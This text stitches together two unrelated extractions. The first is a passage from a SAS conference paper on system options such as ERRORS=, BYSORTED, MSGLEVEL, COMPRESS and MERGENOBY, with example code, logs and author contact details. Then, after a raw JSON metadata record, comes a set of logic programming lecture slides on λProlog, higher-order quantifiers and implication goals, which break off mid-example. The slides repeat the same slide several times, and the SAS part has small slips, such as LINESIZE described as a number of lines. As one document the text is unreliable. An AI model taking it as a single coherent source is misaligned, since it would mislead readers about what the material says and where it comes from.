Log:
ERROR: - is not a valid SAS name.
ERROR: Error in the LIBNAME statement.
data b2 ; set a; run;
NOTE: The data set WORK.B2 has 0 observation and 1 variable.
- OPTIONS ERROR =
ERROR = controls the maximum number of observations for which complete error messages are printed.
Example:
OPTIONS ERRORS=2;
data test1;
infile 'u:\options\test.dat';
input name 1-10 ;
run;
Log:
NOTE: The infile 'u:\options\test.dat' is:
File Name=u:\options\test.dat, RECFM=V,LRECL=256
NOTE: Invalid data for name in line 1 1-10.
RULE: ----+----1----+----2----+----3----+----4----+----5----+----6----+----7----
---+----8----+-
1 jane 5 f 17
name=. _ERROR_=1 _N_=1
NOTE: Invalid data for name in line 2 1-10.
ERROR: Limit set by ERRORS= option reached. Further errors of this type will not
be printed.
2 mary 12 f 17
name=. _ERROR_=1 _N_=2
NOTE: 3 records were read from the infile 'u:\options\test.dat'.
The minimum record length was 17.
The maximum record length was 17.
NOTE: The data set WORK.TEST1 has 3 observations and 1 variables.
• OPTIONS INVALIDDATA = 'character'
INVALIDDATA = system option specifies the value that SAS is to assign to a variable when invalid numeric
data are read with an INPUT statement or the INPUT function; it can be a letter (A to Z, a to z), a period(.), or
an underscore (_). The default value is a period.
Example:
OPTIONS INVALIDDATA='.';
data test2;
infile 'u:\options\test1.dat';
input name $ 1-10 age 11-15 gender $ 16-17;
proc print; run;
Output:
Obs name age gender
1 jane 5 f
2 mary 12 f
3 tim 7 m
4 john 10 m
5 jenny _ f
6 jim _ m
❖ LISTCONTROL (Log and procedure output control: Procedure output)
• OPTIONS FORMDLIM = 'delimiting-character';
FORMDLIM specifies in quotation marks a character written to delimit pages. Normally, the delimit character is
null. When the delimit character is null, a new physical page starts whenever a new page occurs. However, it is
possible to conserve paper by allowing multiple pages of output to appear on the same page. For example, this
statement writes a line of dashes (- -) where normally a page break would occur: options FORMDLIM ='-';
When a new page is to begin, SAS skips a single line, writes a line consisting of the dashes that are repeated
across the page, and skips another single line. There is no skip to the top of a new physical page. Resetting
FORMDLIM to null causes physical pages to be written normally again.
Example:
options formdlim='%';
title "dataset test4, delimit character %";
proc print; run; proc print; run;
Output:
• **OPTIONS BYSORTED | NOBYSORTED**
**BYSORTED** specifies that observations in a data set, or data sets are sorted in alphabetic or numeric order. **NOBYSORTED** specifies that observations with the same BY value are grouped together but are not necessarily sorted in alphabetic or numeric order.
When the **NOBYSORTED** option is specified, stating NOTSORTED on every BY statement to access the data set(s) is not required.
**NOBYSORTED** is useful when data falls into other logical groupings such as chronological order or linguistic order thereby allowing BY processing to continue without failure when a data set is not actually sorted in alphabetic or numeric order.
**Example:**
```sas
data test;
a='a'; b=1; c='f'; output;
a='b'; b=2; c='f'; output;
a='b'; b=3; c='f'; output;
a='a'; b=4; c='m'; output;
a='a'; b=5; c='m'; output;
a='b'; b=6; c='g'; output;
a='a'; b=7; c='g'; output;
run;
```
This data set "test" is not sorted before executing the following proc print step with BY statement, but it is grouped by variable c and variable a alphabetically. In group (c=g), variable a is not ordered in alphabetic order.
```sas
title "System Option BYSORTED in effect without BY Statement Option ";
OPTIONS BYSORTED;
proc print data=test;
by c a;
run;
```
**Log:** SAS reports error message running the proc print step, and only 6 observations are read because variable a is not sorted by alphabetic order in the last group (c=g).
**ERROR:** Data set WORK.TEST is not sorted in ascending sequence. The current by-group has c = m and the next by-group has c = g.
**NOTE:** The SAS System stopped processing this step because of errors
**NOTE:** There were 6 observations read from the data set WORK.TEST.
**NOTE:** PROCEDURE PRINT used (Total process time):
**Output:**
Only the first group of value 'c=f' is printed in the output window.
System Option BYSORTED in effect without BY Statement Option
10:31 Monday, June 15, 2009
title "System Option BYSORTED in effect with BY Statement Option ";
proc print data=test;
by c a NOTSORTED ;
run;
Log:
NOTE: There were 7 observations read from the data set WORK.TEST.
NOTE: PROCEDURE PRINT used (Total process time):
Output: With system option BYSORTED and BY statement option NOTSORTED in effect, data are printed out by value group and by variable c and variable a.
System Option NOBYSORTED in effect without BY Statement Option
10:31 Monday, June 15, 2009
title "System Option NOBYSORTED in effect with BY Statement Option ";
OPTIONS NOBYSORTED;
proc print data=test;
by c a;
run;
Log:
NOTE: There were 7 observations read from the data set WORK.TEST.
NOTE: PROCEDURE PRINT used (Total process time):
SAS outputs the same exact data as the BY statement option above. With system option NOSORTED in effect, the BY statement options are no longer needed.
❖ LOG_LISTCONTROL (Log and procedure output control: SAS log and procedure output)
- OPTIONS DATE | NODATE
DATE prints the date and time the SAS job began at the top of each page of the SAS log and output, this is the default.
Page 6 of 13
• **OPTIONS LINESIZE= n| MIN | MAX| hexX**
This option specifies the line size (printer line width) for the SAS log and output used by the DATA step and procedures; n specifies the number of lines (default is 96); MIN sets the line size to minimum of 64; MAX sets the line size to maximum of 256.
• **OPTIONS MISSING='character'**
This option specifies to print character value to represent missing value. Single or double quotation marks are optional. The period is the default. If you use other character, SAS requires an option value that contains a maximum of 1 character.
**Example:**
OPTIONS MISSING=' ';
Data test;
Format a $1. b 8.;
A='1'; output;
Run;
Proc print; run;
Output:
Obs a b
1 1
• **OPTIONS NUMBER | NONUMBER**
NUMBER specifies that SAS prints the page number on the first title line of each page of SAS output.
• **OPTIONS PAGESIZE= n| nK | hexX | MIN | MAX**
n specifies the number of lines that compose a page. The default is 54 lines. MIN sets the number of lines to the minimum setting of 15. MAX - sets the number of lines to the maximum setting which is 32,767.
❖ **LOGCONTROL (Log and procedure output control: SAS log)**
• **OPTIONS MSGLEVEL= N | I**
N prints notes, warnings, and error messages only; this is the default.
I prints additional notes pertaining to index usage, merge processing, sort utilities, and CEDA usage, along with standard notes, warnings, and error messages. It is especially useful to know if the merge is performed as requested. If MSGLEVEL=I, SAS writes a warning to the SAS log when a MERGE statement would cause variables to be overwritten.
**Example:**
data test1;
name='Jane'; age=10; class='3rd grade'; output;
run;
data test2;
name='Jane'; age=9; time='9:00am'; output;
run;
OPTIONS MSGLEVEL= N;
data test;
merge test1 test2; by name;
run;
Log:
NOTE: There were 1 observation read from the data set WORK.TEST1.
NOTE: There were 1 observation read from the data set WORK.TEST2.
NOTE: The data set WORK.TEST has 1 observation and 4 variables.
OPTIONS MSGLEVEL= I;
Log:
INFO: The variable age on data set WORK.TEST1 will be overwritten by data set WORK.TEST2.
NOTE: There were 1 observation read from the data set WORK.TEST1.
NOTE: There were 1 observation read from the data set WORK.TEST2.
NOTE: The data set WORK.TEST has 1 observation and 4 variables.
This log provides useful information if an additional variable is needed to be merged by since there might be several students with the same name or data issues regarding age (since one shows age 10, and the other data set shows age 9).
❖ MACRO (MACRO: SAS macro)
- OPTIONS MAUTOLOCDISPLAY | NOMAUTOLOCDISPLAY
MAUTOLOCDISPLAY enables the MACRO to display the autocall macro source location in the log when the autocall macro is invoked.
- OPTIONS MAUTOSOURCE | NOMAUTOSOURCE
MAUTOSOURCE causes the macro processor to search the autocall libraries unless the macro name is found in the WORK library.
- OPTIONS SASAUTOS= library-specification | (library-specification-1,...,library-specification-n)
With this option it is possible to identify one or more locations of library members that contain a SAS macro definition. A location can be a SAS fileref or a host-specific location name enclosed in quotation marks. When specifying two or more autocall libraries, enclose the specifications in parentheses and separate them with either a comma or a blank space. When SAS searches for an autocall macro definition, it opens and searches each location in the same order that it is specified in the SASAUTOS option.
Example:
The following code is to setup SAS autocall in the sequence of: 1. sasautos; 2. protocol level macros; 3. project level macros; 4. global level macros with mautolocdisplay option.
OPTIONS MAUTOSOURCE MAUTOLOCDISPLAY SASAUTOS =(
sasautos
/* --- Protocol level macros --- */
fptmla fptmlb fptmlc
/* --- Project level macros --- */
Fpjmla fpjmlb fpjmlc
/* --- Global level macros --- */
fglmla fglmlb fglmlc );
Below are some examples of logs after a macro is run; MAUTOLOCDISPLAY enables MACRO to display the autocall macro source location.
316 %mkadrparm( input_dataset=RDADRPARM,
MAUTOLOCDISPLAY(MKADRPARM): This macro was compiled from the autocall file
\wpmrldata53\SDE\macrolib\SDD\Prod\library\macros\ADaM\mkadrparm.sas
317 output_dataset=adrparm,
318 debug=N)
- OPTIONS MLOGIC | NOMLOGIC
MLOGIC causes the macro processor to trace its execution and to write the trace information to the SAS log. This option is a useful debugging tool, and it displays messages that identify the following:
o the beginning of macro execution
- values of macro parameters at invocation
- execution of each macro program statement
- whether each %IF condition is true or false
- the ending of macro execution.
- OPTIONS SYMBOLGEN | NOSYMBOLGEN
SYMBOLGEN displays the results of resolving macro variable references. SYMBOLGEN displays the results in this form "SYMBOLGEN: Macro variable name resolves to value". SYMBOLGEN also indicates when a double ampersand (&&) resolves to a single ampersand (&).
- OPTIONS MPRINT | NOMPRINT
MPRINT displays the SAS statements that are generated by macro execution.
Typically, the options MLOGIC, MPRINT and SYMBOLGEN are used together to debug macros. Please note using these options can produce a great deal of output.
Example:
If using OPTIONS MLOGIC MPRINT SYMBOLGEN for debugging purposes, following is the log with detail information about the macro compiling and execution:
SYMBOLGEN: Macro variable DEBUG resolves to N
MLOGIC(MKADRPARM): %IF condition "&debug"="Y" is FALSE
MPRINT(MKADRPARM): options compress=yes;
MLOGIC(MKADRPARM): %LET (variable name is VARS)
MLOGIC(MKADRPARM): %LET (variable name is _VARS)
MLOGIC(DSVAR): Beginning execution.
MLOGIC(DSVAR): This macro was compiled from the autocall file \wpmrldata53\SDE\statTEST\MK869\Emesis\PROT130Cycle1\macrolib\utility\dsvar.sas
SYMBOLGEN: Macro variable INPUT_DATASET resolves to WORK.RDADRPARM
- OPTIONS MLOGICNEST | NOMLOGICNEST
MLOGICNEST displays the macro nesting information in the MLOGIC output in the SAS log. The setting of MLOGICNEST does not imply the setting of MLOGIC. It is required to turn on both MLOGIC and MLOGICNEST in order for output (with nesting information) to be written to the SAS log.
Example:
%macro test1;
%put THIS IS TEST1;
%mend;
%macro test2;
%put THIS IS TEST2;
%test1;
%mend test2;
%macro test3;
%put THIS IS TEST3;
%test2;
%mend test3;
OPTIONS MLOGIC MLOGICNEST;
%test3
Log:
MLOGIC(TEST3): Beginning execution.
MLOGIC(TEST3): %PUT THIS IS TEST3
THIS IS TEST3
MLOGIC(TEST3.TEST2): Beginning execution.
MLOGIC(TEST3.TEST2): %PUT THIS IS TEST2
THIS IS TEST2
MLOGIC(TEST3.TEST2.TEST1): Beginning execution.
MLOGIC(TEST3.TEST2.TEST1): %PUT THIS IS TEST1
THIS IS TEST1
MLOGIC(TEST3.TEST2.TEST1): Ending execution.
MLOGIC(TEST3.TEST2): Ending execution.
MLOGIC(TEST3): Ending execution.
❖ ODSPRINT (Log and procedure output control: ODS printing)
- **OPTIONS BOTTOMMARGIN= | TOPMARGIN= | LEFTMARGIN= | RIGHTMARGIN=**
These options tell a printer the size of the margin at the top, bottom, left and right of the page. The default setting of BOTTOMMARGIN and TOPMARGIN is 0.2 IN, LEFTMARGIN and RIGHTMARGIN is 0.25 IN. Changing the value of these options may result in changes to the value of the PAGESIZE= and LINESIZE= system option.
**Example:**
OPTIONS BOTTOMMARGIN="0.05 IN" LEFTMARGIN="0.1 IN" ;
- **OPTIONS ORIENTATION=PORTRAIT | LANDSCAPE | REVERSEPORTRAIT | REVERSELANDSCAPE**
PORTRAIT|LANDSCAPE specifies the paper orientation as portrait or landscape; "Portrait" is the default.
REVERSEPORTRAIT| REVERSELANDSCAPE specifies the paper orientation as reverse portrait or landscape to enable printing on paper with prepunched holes.
❖ SASFILES (Files: SAS Files)
- **OPTIONS COMPRESS=NO | YES | CHAR | BINARY**
NO specifies that the observations in SAS data set are uncompressed (fixed-length records); this is the default.
YES | CHAR specifies that the observations in SAS data set are compressed (variable-length records) by reducing repeated consecutive characters (including blanks) to two-byte or three-byte representations.
BINARY is highly effective for compressing medium to large (several hundred bytes or larger) blocks of binary data (numeric variables).
Compressing a file reduces the number of bytes required to represent each observation and therefore reduces storage requirements for the file and saves time to process data. The tradeoff is an increased CPU requirement because the CPU has to uncompress each observation before processing them. Often OPTIONS COMPRESS=YES is used to process lab, vital or other large data sets to save processing time.
**Example:**
Following is an example of doing a simple sort for a lab data set with two different options:
OPTIONS COMPRESS=NO;
proc sort data=lptss.lb out=lb;
by usubjid subjid;
run;
**Log:**
NOTE: There were 120842 observations read from the data set LPTSS.LB.
NOTE: The data set WORK.LB has 120842 observations and 74 variables.
NOTE: PROCEDURE SORT used (Total process time):
real time 4:54.41
cpu time 11.50 seconds
OPTIONS COMPRESS=YES;
**Log:**
NOTE: There were 120842 observations read from the data set LPTSS.LB.
NOTE: The data set WORK.LB has 120842 observations and 74 variables.
NOTE: Compressing data set WORK.LB decreased size by 97.96 percent.
Compressed is 2469 pages; un-compressed would require 120842 pages.
NOTE: PROCEDURE SORT used (Total process time):
real time 2:17.88
cpu time 9.32 seconds
As you can see from the log comparison above, the processing time with COMPRESS=YES has been reduced by more than 50%.
- **OPTIONS FIRSTOBS= MIN | MAX | nK | nM | nG | nT | hex;**
MIN sets the number of the first observation to minimum value which is 1; this is the default.
n (integer number) is used to process data from nth observation.
- **OPTIONS OBS= n | nK | nM | nG | nT | hexX | MIN | MAX;**
n (integer number) indicates when to stop processing observation or records. MAX is about 9.2 quintillion; this is the default.
While the FIRSTOBS= system option specifies a starting point for processing, the OBS= system option specifies an ending point. The two options are often used together to define a range of observations or records to be processed. To determine when to stop processing, SAS uses the formula of \((obs - firstobs) + 1 = results\). For example, if OBS=10 and FIRSTOBS=1 (which is the default for FIRSTOBS=), the result is 10 observation or records, that is \((10 - 1) + 1 = 10\).
**Examples:**
```sas
data old (drop=i);
do i=1 to 100;
A=i; output;
end;
run;
OPTIONS FIRSTOBS=11 OBS=50;
data a;
set old; /* 100 observation */
run;
data b; set a; run;
data c; set b; run;
Log:
NOTE: The data set WORK.OLD has 100 observation and 1 variable.
NOTE: The data set WORK.A has 40 observation and 1 variable.
NOTE: The data set WORK.B has 30 observation and 1 variable.
NOTE: The data set WORK.C has 20 observation and 1 variable.
```
- **OPTIONS MERGENOBY= NOWARN | WARN | ERROR**
NOWARN specifies that no warning message is issued; this is the default.
ERROR specifies that an error message is issued.
Merging with no "BY statement" is dangerous unless it is a One-to-One merging (combines the first observation from all data sets that are named in the MERGE statement into the first observation in the new data set, the second observation from all data sets into the second observation in the new data set, and so on). Usually a Match-merging is performed which combines observations from two or more SAS data sets into a single observation in a new data set according to the values of a common variable - definitely the "BY statement" is required, and this option should be set to WARN or ERROR.
**Example:**
```sas
data test1;
name='Jane'; age=10; class='3rd grade'; output;
name='Amy'; age=12; class='5th grade'; output;
run;
data test2;
name='Jane'; age=9; time='9:00am'; output;
name='Jane'; age=10; time='8:45am'; output;
name='Amy'; age=12; time='8:30am'; output;
run;
```
OPTIONS MERGENOBY= NOWARN;
data test;
merge test1 test2;
run;
Log:
NOTE: There were 2 observations read from the data set WORK.TEST1.
NOTE: There were 3 observations read from the data set WORK.TEST2.
NOTE: The data set WORK.TEST has 3 observations and 4 variables.
Output:
<table>
<thead>
<tr>
<th>Obs</th>
<th>name</th>
<th>age</th>
<th>class</th>
<th>time</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Jane</td>
<td>9</td>
<td>3rd grade</td>
<td>9:00am</td>
</tr>
<tr>
<td>2</td>
<td>Jane</td>
<td>10</td>
<td>5th grade</td>
<td>8:45am</td>
</tr>
<tr>
<td>3</td>
<td>Amy</td>
<td>12</td>
<td></td>
<td>8:30am</td>
</tr>
</tbody>
</table>
It is obvious that the above Output is incorrect, but the log did not indicate this error.
If OPTIONS MERGENOBY= WARN is used, the following warning message in the log will appear:
WARNING: No BY statement was specified for a MERGE statement.
NOTE: There were 2 observations read from the data set WORK.TEST1.
NOTE: There were 3 observations read from the data set WORK.TEST2.
NOTE: The data set WORK.TEST has 3 observations and 4 variables.
If OPTIONS MERGENOBY= ERROR is used, the following error and warning messages in the log will be clearer:
ERROR: No BY statement was specified for a MERGE statement.
NOTE: The SAS System stopped processing this step because of errors.
WARNING: The data set WORK.TEST may be incomplete. When this step was stopped there were 0 observation and 4 variables.
• OPTIONS REPLACE | NOREPLACE;
REPLACE tells SAS that a permanently stored SAS data set can be overwritten with another SAS data set of the same name; this is the default.
NOREPLACE is a useful option; it can prevent the accidental replacement of existing SAS data sets. A warning message will be sent stating the data set was not replaced because of NOREPLACE option. This option has no effect on data sets in the WORK library.
CONCLUSION
This paper lists a handful of System Options by the functionality group which help to make a programmer's job easier and more productive. Hopefully the information contained in this paper will result in SAS users paying more attention to this frequently underexplored area of SAS.
ACKNOWLEDGMENT
We want to thank Maryann Williams, Richard Lowry and other colleagues for reviewing this paper and their helpful suggestions.
CONTACT INFORMATION
Your comments and questions are valued and encouraged. Contact the authors at:
Wei (Lisa) Lin
Merck & Co., Inc.
UG1CD-14
Po Box 1000
North Wales, PA 19454-1099
Work Phone: 267-305-6521
Email: lisa_lin@merck.com
Jiannan (Jane) Kang
Merck & Co., Inc.
UG1CD-14
PO Box 1000
North Wales, PA 19454-1099
Work Phone: 267-305-7426
Email: jiannan_kang@merck.com
TRADEMARKS
SAS and all other SAS Institute Inc. product or service names are registered trademarks or trademarks of SAS Institute Inc. in the USA and other countries. ® indicates USA registration. Other brand and product names are trademarks of their respective companies.
|
{"Source-Url": "http://lexjansen.com/nesug/nesug09/po/PO03.pdf", "len_cl100k_base": 7218, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 28887, "total-output-tokens": 8197, "length": "2e12", "weborganizer": {"__label__adult": 0.00023543834686279297, "__label__art_design": 0.00044846534729003906, "__label__crime_law": 0.0002536773681640625, "__label__education_jobs": 0.0029888153076171875, "__label__entertainment": 9.953975677490234e-05, "__label__fashion_beauty": 0.0001169443130493164, "__label__finance_business": 0.0012874603271484375, "__label__food_dining": 0.0001952648162841797, "__label__games": 0.0004367828369140625, "__label__hardware": 0.0009326934814453124, "__label__health": 0.00024700164794921875, "__label__history": 0.0001959800720214844, "__label__home_hobbies": 0.0001132488250732422, "__label__industrial": 0.0004811286926269531, "__label__literature": 0.0002460479736328125, "__label__politics": 0.0001857280731201172, "__label__religion": 0.0002827644348144531, "__label__science_tech": 0.022857666015625, "__label__social_life": 0.00012421607971191406, "__label__software": 0.141357421875, "__label__software_dev": 0.826171875, "__label__sports_fitness": 0.00011050701141357422, "__label__transportation": 0.0002300739288330078, "__label__travel": 0.00015294551849365234}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 27746, 0.03076]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 27746, 0.29214]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 27746, 0.79094]], "google_gemma-3-12b-it_contains_pii": [[0, 3315, false], [3315, 5459, null], [5459, 7440, null], [7440, 9586, null], [9586, 11462, null], [11462, 12678, null], [12678, 14655, null], [14655, 17380, null], [17380, 19458, null], [19458, 22386, null], [22386, 24925, null], [24925, 26954, null], [26954, 27746, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3315, true], [3315, 5459, null], [5459, 7440, null], [7440, 9586, null], [9586, 11462, null], [11462, 12678, null], [12678, 14655, null], [14655, 17380, null], [17380, 19458, null], [19458, 22386, null], [22386, 24925, null], [24925, 26954, null], [26954, 27746, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 27746, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 27746, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 27746, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 27746, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 27746, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 27746, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 27746, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 27746, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 27746, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 27746, null]], "pdf_page_numbers": [[0, 3315, 1], [3315, 5459, 2], [5459, 7440, 3], [7440, 9586, 4], [9586, 11462, 5], [11462, 12678, 6], [12678, 14655, 7], [14655, 17380, 8], [17380, 19458, 9], [19458, 22386, 10], [22386, 24925, 11], [24925, 26954, 12], [26954, 27746, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 27746, 0.01006]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
ce98ce501d6d13c3ec3a8fea02f2bbeaef733226
|
Logic Programming
Theory Lecture 8: Extensions of Predicate Logic
Richard Mayr
School of Informatics
10th November 2014
The theory half of the course has considered Prolog from the *declarative* perspective.
Under the declarative reading:
- Programs are logical theories
- The role of the system is to ascertain if the query is a logical consequence of the program.
This perspective accounts well for:
1. Definite clause logic, for both propositional logic (Lectures 1–2) and predicate logic (Lectures 3–5)
With some tuning of the basic ideas (completing the logical theory using CWA or Clark Completion), we also accounted for:
2. Negation by failure for negated ground queries (Lecture 7).
Moreover, items 1 and 2 above, can also be explained in terms of:
3. The role of the system is to establish truth in the minimal Herbrand model (Lecture 6).
Omissions
However, there are many aspects of Prolog we have not incorporated:
- I/O (Programming Lecture 4)
- Cut (Programming Lecture 4)
- General negation as failure (Programming Lecture 5)
- `assert`, `retract`, … (Programming Lecture 5)
- Term-manipulation primitives: `var`, `nonvar`, … (Programming Lecture 9)
These omissions are for a fundamental reason. The mentioned primitives do not fit in with the declarative reading. For example, consider `assert`, in the context of an empty program.
```prolog
?- p, assert(p)
```
These omissions are for a fundamental reason. The mentioned primitives do not fit in with the declarative reading. For example, consider `assert`, in the context of an empty program.
?- p, assert(p)
no
These omissions are for a fundamental reason.
The mentioned primitives do not fit in with the declarative reading.
For example, consider `assert`, in the context of an empty program.
```
?- p, assert(p)
no
?- assert(p), p.
```
These omissions are for a fundamental reason.
The mentioned primitives do not fit in with the declarative reading. For example, consider `assert`, in the context of an empty program.
?- p, assert(p)
no
?- assert(p), p.
yes
These omissions are for a fundamental reason.
The mentioned primitives do not fit in with the declarative reading.
For example, consider `assert`, in the context of an empty program.
?- p, assert(p)
no
?- assert(p), p.
yes
?- p, assert(p)
These omissions are for a fundamental reason.
The mentioned primitives do not fit in with the declarative reading.
For example, consider `assert`, in the context of an empty program.
?- p, assert(p)
no
?- assert(p), p.
yes
?- p, assert(p)
yes
These omissions are for a fundamental reason. The mentioned primitives do not fit in with the declarative reading. For example, consider `assert`, in the context of an empty program.
?- p, assert(p)
no
?- assert(p), p.
yes
?- p, assert(p)
yes
▶ The order of atomic formulas in the query matters — contradicting the commutativity of `∧` which is the declarative reading of comma.
These omissions are for a fundamental reason.
The mentioned primitives do not fit in with the declarative reading.
For example, consider `assert`, in the context of an empty program.
```prolog
?- p, assert(p)
no
?- assert(p), p.
yes
?- p, assert(p)
yes
```
- The order of atomic formulas in the query matters — contradicting the commutativity of $\land$ which is the declarative reading of comma.
- The same query receives a different response depending on the state of the system.
Declarative extensions of Prolog
Today we consider two directions for extending Prolog that do fit in with the declarative reading.
▶ Extension from first-order logic to higher-order logic, as exemplified by λProlog
▶ Meta-programming. (non-examinable)
Today we consider two directions for extending Prolog that do fit in with the declarative reading.
- Extension from first-order logic to higher-order logic, as exemplified by λProlog
We consider this in some detail.
- Meta-programming. (non-examinable)
Declarative extensions of Prolog
Today we consider two directions for extending Prolog that do fit in with the declarative reading.
- Extension from first-order logic to higher-order logic, as exemplified by λProlog
We consider this in some detail.
- Meta-programming. (non-examinable)
We consider this briefly.
A richer logic
In *first-order* logic, quantifiers are only used over variables standing for individuals (elements of the universe) — we can't quantify over functions, or predicates in this logic.
Suppose we allow quantifiers also over *predicates*: this takes us to *second-order logic*. We extend the syntax of first order logic by allowing variables for predicates as well as for individuals, and all \( \forall, \exists \) quantifiers using these variables. The reading of these quantifiers is just what you would expect . . .
**Example**
\[
\forall P. P(0) \wedge (\forall X. P(X) \rightarrow P(s(X))) \rightarrow \forall Y. P(Y)
\]
This lets us express standard induction on the natural numbers as a single statement about all properties \( P \)
Note that if we tried to express this directly in definite clause logic, there are three problems:
- Prolog variables can’t appear in the “predicate” position (since it’s first order).
- One of the subgoals is an implication.
- The quantification over \( X \) is local.
We’d like to be able to write something like:
\[
P(Y) :- P(0), \forall X. (P(X) \Rightarrow P(s(X))).
\]
Which is to be read as
\[
P(Y) :- (P(0), \forall X. (P(X) \Rightarrow P(s(X)))).
\]
And we’d like to have a programming language that made sense of this.
The λProlog language lets us do this sort of thing. It lets us:
- Search for derivations systematically;
- Provide witnessing answers for query variables.
In the first-order case we have seen the *unification* algorithm that is used in computing solution values for query variables within definite clause logic.
This is extended to deal with other kinds of variables.
The functional languages Haskell, LISP and ML make use of \(\lambda\)-terms:
Haskell: \( \lambda x \rightarrow x + 4 \)
LISP: \((\text{lambda} \ (x) \ (+ \ x \ 4))\)
ML: \(\text{fn} \ x \Rightarrow x + 4\)
and the evaluation of the applications of such terms is the main computational mechanism of the languages. \(\lambda\)Prolog includes such terms also, with the syntax
\[ x \\ (x + 4) \]
and the treatment of such terms has to let equivalent terms be equal (and find solutions).
(In \(\lambda\)Prolog, variables such as \(x\) are allowed to start with lower case letters)
Extending the logic
Definite clause logic is extended by adding:
- A type structure: syntax items have user declared types; there is a special type \( o \) of *propositions*, and another type \( i \) of individuals.
Functions from type \( t_1 \) to type \( t_2 \) have type \( t_1 \rightarrow t_2 \).
Predicates on objects of type \( t \) have type \( t \rightarrow o \).
In particular, first-order unary predicates have type \( i \rightarrow o \).
- Add implications to the language: \( G \Rightarrow H \)
- Universal quantification (in programs and queries).
- Existential quantification (just in queries).
We use a “curried” style of syntax (as in Haskell), rather than tuples (as in Prolog).
That is, we write \((p \ x \ y)\) instead of \(p(x, y)\).
Quantifiers
Use the following to express quantification:
for $\forall x. A$, use a lambda term to express the binding of the variable, and then a constant $\pi$ to quantify. Thus a goal
$$\forall x. x = x$$
becomes
$$\pi ( x \backslash (x = x) )$$
and $\forall P. P(0) \rightarrow P(0)$ becomes
$$\pi ( p \backslash ((p \ 0) \Rightarrow (p \ 0)))$$
Both of these succeed as queries.
Examples
?- pi x\ (x = x).
solved
?- pi x\ ( pi y\ ( x = y)).
no
?- pi x\ (x = (Y x)).
Y = x\ x ;
no more solutions
An implication goal \( ?- P \implies Q \) is tackled by “adding \( P \) to the program”, and trying to show \( Q \). Standard Prolog clauses allow just one implication (in the other direction).
\[
\begin{align*}
a & : - b. \\
b & : - c. \\
? - c & \implies a
\end{align*}
\]
Solved
Note that the statement added — here \( c \) — is added only locally in the context of the implication query; so backtracking must keep track of where assumptions are added, so that they are not in scope if backtracking goes before this query.
Inferring with implications ctd
More complex statements can get added too:
\[
\begin{align*}
a & :- b. \\
c. \\
?- (c => b) => a
\end{align*}
\]
Solved
Here \( c => b \) is added, so this is equivalent to querying \( ?- a \).
with the program:
\[
\begin{align*}
a & :- b. \\
c. \\
b & :- c. \\
?- a. \\
\end{align*}
\]
Solved
Inferring with implications ctd
The implication symbol $\Rightarrow$ associates to the right. This means that the formula $A \Rightarrow B \Rightarrow C$ is equivalent to $A \Rightarrow (B \Rightarrow C)$.
So the $\lambda$Prolog query:
$$?- \ (a \Rightarrow (b \Rightarrow c)) \Rightarrow (b \Rightarrow (a \Rightarrow c))$$
can be written with fewer brackets as:
$$?- \ (a \Rightarrow b \Rightarrow c) \Rightarrow b \Rightarrow a \Rightarrow c$$
The search for this query first adds $a \Rightarrow b \Rightarrow c$ to the program, which translates to the Prolog clause $c :\ a,b$, and then adds $b$ then $a$. So we end up with the query.
$$c :\ a,b.$$
$$b.$$
$$a.$$
$$?- \ c.$$
Solved
This procedure gives most of the expected properties of implication, e.g.
?- a => (b => a).
solved
?- (a => (b => c)) => (a => b) => (a => c).
solved
However, this is not implication as characterised by the standard truth table. Consider:
?- ((a => b) => a) => a.
no
Search
What search operations are used to solve queries?
There are search operations associated with different connectives in the goal; for example:
- To solve $D \implies G$, add $D$ to the program clauses, and solve $G$.
- To solve $\pi (x \mid G \ x)$, pick a new parameter $c$ (i.e. a constant that does not appear in the current problem), and solve $G \ c$. (We say that $c$ is a fresh parameter.)
- To solve atomic $G$, find a program clause whose head can be unified with $G$, and solve the body.
Search
What search operations are used to solve queries?
There are search operations associated with different connectives in the goal; for example:
- To solve $D \Rightarrow G$, add $D$ to the program clauses, and solve $G$.
- To solve $\pi (x \setminus G x)$, pick a new parameter $c$ (i.e. a constant that does not appear in the current problem), and solve $G \ c$. (We say that $c$ is a fresh parameter.)
- To solve atomic $G$, find a program clause whose head can be unified with $G$, and solve the body.
This step is just as in ordinary Prolog.
Try to formalise the following:
*Something is sterile if all the bugs in it are dead.*
*If a bug is in an object which is heated, then the bug is dead.*
*This jar is heated.*
*So, the jar is sterile.*
This is a natural and simple argument, and we want to express it directly. We could use full predicate calculus (but search is hard there).
In λProlog, we can do this as follows.
Type declarations
type sterile (i -> o).
type in (i -> i -> o).
type heated (i -> o).
type bug (i -> o).
type dead (i -> o).
type j i.
Program
sterile Jar :- pi x
( (bug x) =>
(in x Jar) => (dead x) ).
dead X :- heated Y, in X Y, bug X.
heated j.
Query
?- sterile j.
solved
Using higher-order features.
Often we want to do similar things for different predicates we are reasoning about. For example, the standard `ancestor/2` predicate is defined as a transitive extension of `parent/2`:
\[
\text{ancestor}(X,Y) :- \text{parent}(X,Y).
\]
\[
\text{ancestor}(X,Z) :- \text{parent}(X,Y), \text{ancestor}(Y,Z).
\]
